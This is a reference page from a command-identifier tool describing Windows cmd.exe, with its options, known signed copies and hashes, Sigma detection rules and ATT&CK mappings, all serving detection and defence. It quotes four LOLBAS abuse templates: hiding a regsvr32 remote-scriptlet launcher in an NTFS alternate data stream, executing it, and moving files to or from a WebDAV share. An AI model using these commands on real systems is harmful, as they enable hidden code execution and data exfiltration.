Ceplin Command Identifier

Identifier / Programs / Windows

cmd.exe

Starts a new instance of the command interpreter, cmd.exe. Windows commands reference

LOLBAS ADS, Download, Upload 121 Sigma rules name it 10 ATT&CK techniques 4 documented commands 16 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How cmd.exe is abused

documented by LOLBAS

ADS T1564.004 Hide Artifacts: NTFS File Attributes

/cCarries out the command specified by and then exits the command processor. Windows commands reference

ADS T1059.003 Command and Scripting Interpreter: Windows Command Shell

Download T1105 Ingress Tool Transfer

Upload T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Download T1105 Ingress Tool Transfer

Through Ftp.exe

/cCarries out the command specified by and then exits the command processor. Windows commands reference
/sWhen used with /c or /k, triggers special non-parsing rules that strip the first and last quotes (") around the but leaves the rest of the command unchanged. Windows commands reference
/vEnables delayed environment variable expansion. Windows commands reference

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for cmd.exe.

4 documented commands

from LOLBAS, each read by the identifier

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Add content to an Alternate Data Stream (ADS).

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Identify

Trips 1 Sigma rule: lowCMD Shell Output Redirect by frack113

ADS T1059.003 Command and Scripting Interpreter: Windows Command Shell User privileges

Execute payload.bat stored in an Alternate Data Stream (ADS).

cmd.exe - < {PATH}:payload.bat
Identify

Trips 1 Sigma rule: mediumRead Contents From Stdin Via Cmd.EXE by frack113, Nasreddine Bencherchali (Nextron Systems)

Download T1105 Ingress Tool Transfer User privileges

Downloads a specified file from a WebDAV server to the target file.

type {PATH_SMB} > {PATH_ABSOLUTE}
Identify

Trips 2 Sigma rules: mediumPotential Download/Upload Activity Using Type Command by Nasreddine Bencherchali (Nextron Systems); lowCMD Shell Output Redirect by frack113

Upload T1048.003 Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol User privileges

Uploads a specified file to a WebDAV server.

type {PATH_ABSOLUTE} > {PATH_SMB}
Identify

Trips 2 Sigma rules: mediumPotential Download/Upload Activity Using Type Command by Nasreddine Bencherchali (Nextron Systems); lowCMD Shell Output Redirect by frack113

All 4 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for cmd.exe, by Ye Yint Min Thu Htut, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for cmd.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highCopy .DMP/.DUMP Files From Remote Share Via Cmd.EXENasreddine Bencherchali (Nextron Systems)
highPotential Privilege Escalation Using Symlink Between Osk and Cmdfrack113
highPotential CommandLine Path Traversal Via Cmd.EXExknow @xknow_infosec, Tim Shelton
mediumRemote Access Tool - Cmd.EXE Execution via AnyViewer@kostastsale
mediumCmd Launched with Hidden Start Flags to Suspicious TargetsVladan Sekulic, Swachchhanda Shrawan Poudel (Nextron Systems)
mediumPotentially Suspicious CMD Shell Output RedirectNasreddine Bencherchali (Nextron Systems)
mediumRead Contents From Stdin Via Cmd.EXEfrack113, Nasreddine Bencherchali (Nextron Systems)
mediumUnusual Parent Process For Cmd.EXETim Rauch, Elastic (idea)
mediumAlways Install Elevated MSI Spawned Cmd And PowershellTeymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community
lowCMD Shell Output Redirectfrack113
criticalPotential CVE-2021-41379 Exploitation AttemptFlorian Roth (Nextron Systems)
criticalSticky Key Like Backdoor ExecutionFlorian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community
criticalSuspicious Child Process Of Veeam DabataseNasreddine Bencherchali (Nextron Systems)
highExploited CVE-2020-10189 Zoho ManageEngineFlorian Roth (Nextron Systems)
highBlue MockingbirdTrent Liffick (@tliffick)
highPotential CVE-2021-44228 Exploitation Attempt - VMware Horizon@kostastsale
highPotential Devil Bait Malware ReconnaissanceNasreddine Bencherchali (Nextron Systems), NCSC (Idea)
highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)
highPotential CVE-2022-29072 Exploitation Attemptfrack113, @kostastsale
highEmotet Loader Execution Via .LNK File@kostastsale
highSerpent Backdoor Payload Execution Via Scheduled Task@kostastsale
highFakeUpdates/SocGholish Activity@kostastsale
highPotential CVE-2023-36874 Exploitation - Fake Wermgr ExecutionNasreddine Bencherchali (Nextron Systems)
highCVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child ProcessNasreddine Bencherchali (Nextron Systems), Andreas Braathen (mnemonic.io)
highUrsnif Redirection Of Discovery Commands@kostastsale
highPotential Suspicious Child Process Of 3CXDesktopAppNasreddine Bencherchali (Nextron Systems)
highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
highCVE-2024-50623 Exploitation Attempt - CleoTanner Filip, Austin Worline, Chad Hudson, Matt Anderson
highPotential Exploitation of GoAnywhere MFT VulnerabilityMSFT (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
highSuspicious Process Spawned by CentreStack Portal AppPoolJason Rathbun (Blackpoint Cyber)

And 91 more rules that name cmd.exe.

T1048.003Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
T1059Command and Scripting Interpreter
T1059.003Command and Scripting Interpreter: Windows Command Shell
T1082System Information Discovery
T1105Ingress Tool Transfer
T1218System Binary Proxy Execution
T1546.008Event Triggered Execution: Accessibility Features
T1548.002Abuse Elevation Control Mechanism: Bypass User Account Control
T1564.003Hide Artifacts: Hidden Window
T1564.004Hide Artifacts: NTFS File Attributes

Is it the real cmd.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionWindows Command Processor

16 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmd.exe · signed by Microsoft Windows

f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmd.exe · signed by Microsoft Windows

f7e7b369570438578e6988abe90b26568773e967696979aac8fb72303f149126

10.0.19041.746 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmd.exe · signed by Microsoft Windows

4d89fc34d5f0f9babd022271c585a9477bf41e834e46b991deaa0530fdb25e22

10.0.19041.546 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmd.exe · signed by Microsoft Windows

a47311af139d7cd7c8f4c8c29bc5c6df4ff8d592f2728f823a4ca96a7af48723

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\cmd.exe · signed by Microsoft Windows

100348552b388ab5d0095bb09ebf0ebc22668092fb8e0f92ac7ed5909492b4f6

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\cmd.exe · signed by Microsoft Windows

1b041f4deefb7a3d0ddc0cbe6ffca70ae9c1ff88cbbd09f26492886de649acfd

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmd.exe · signed by Microsoft Windows

20817da4730a6471b89fa6634146aecf84bfa7e550d34792c903aef9eba66c65

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\cmd.exe · signed by Microsoft Windows

b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

10.0.18362.449 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\cmd.exe · signed by Microsoft Windows

4b2f2b322507f4e59204e8750dbdf4761825f546f617571e76461768f795fb55

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\cmd.exe · signed by Microsoft Windows

ff79d3c4a0b7eb191783c323ab8363ebd1fd10be58d8bcc96b07067743ca81d5

10.0.17763.592 (WinBuild.160101.0800) · C:\Windows\SysWOW64\cmd.exe · signed by Microsoft Windows

2edb180274a51c83ddf8414d99e90315a9047b18c51dfd070326214d4da59651

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\cmd.exe · signed by Microsoft Windows

3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a3785476b482c9c0d32ea2

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\cmd.exe · signed by Microsoft Windows

614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\cmd.exe · signed by Microsoft Windows

935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d44ad2

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\cmd.exe · not signed

48985b22a895154cc44f9eb77489cfdf54fa54506e8ecaef492fe30f40d27e90

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\cmd.exe · not signed

6f88fb88ffb0f1d5465c2826e5b4f523598b1b8378377c8378ffebc171bad18b

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Start an interactive shell session

Execute specific commands

cmd /c echo cmd is executedIdentify

Execute a specific script

cmd path\to\script.batIdentify

None of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.

Options

12 in Windows commands reference
Show every option of cmd.exe
/cCarries out the command specified by and then exits the command processor.
/kCarries out the command specified by and keeps the command processor running.
/sWhen used with /c or /k, triggers special non-parsing rules that strip the first and last quotes (") around the but leaves the rest of the command unchanged.
/qTurns echo off.
/dDisables execution of AutoRun commands.
/aFormats command output as American National Standards Institute (ANSI).
/uFormats command output as Unicode.
/tSets the background (*b*) and foreground (*f*) colors.
/eEnables command extensions.
/fEnables file and directory name completion.
/vEnables delayed environment variable expansion.
/?Displays help at the command prompt.

Other programs abused for ADS

bitsadmin.exe · certutil.exe · control.exe · cscript.exe · diantz.exe · esentutl.exe · expand.exe · extrac32.exe · findstr.exe · forfiles.exe · makecab.exe · mavinject.exe · mpcmdrun.exe · mshta.exe · msxsl.exe · print.exe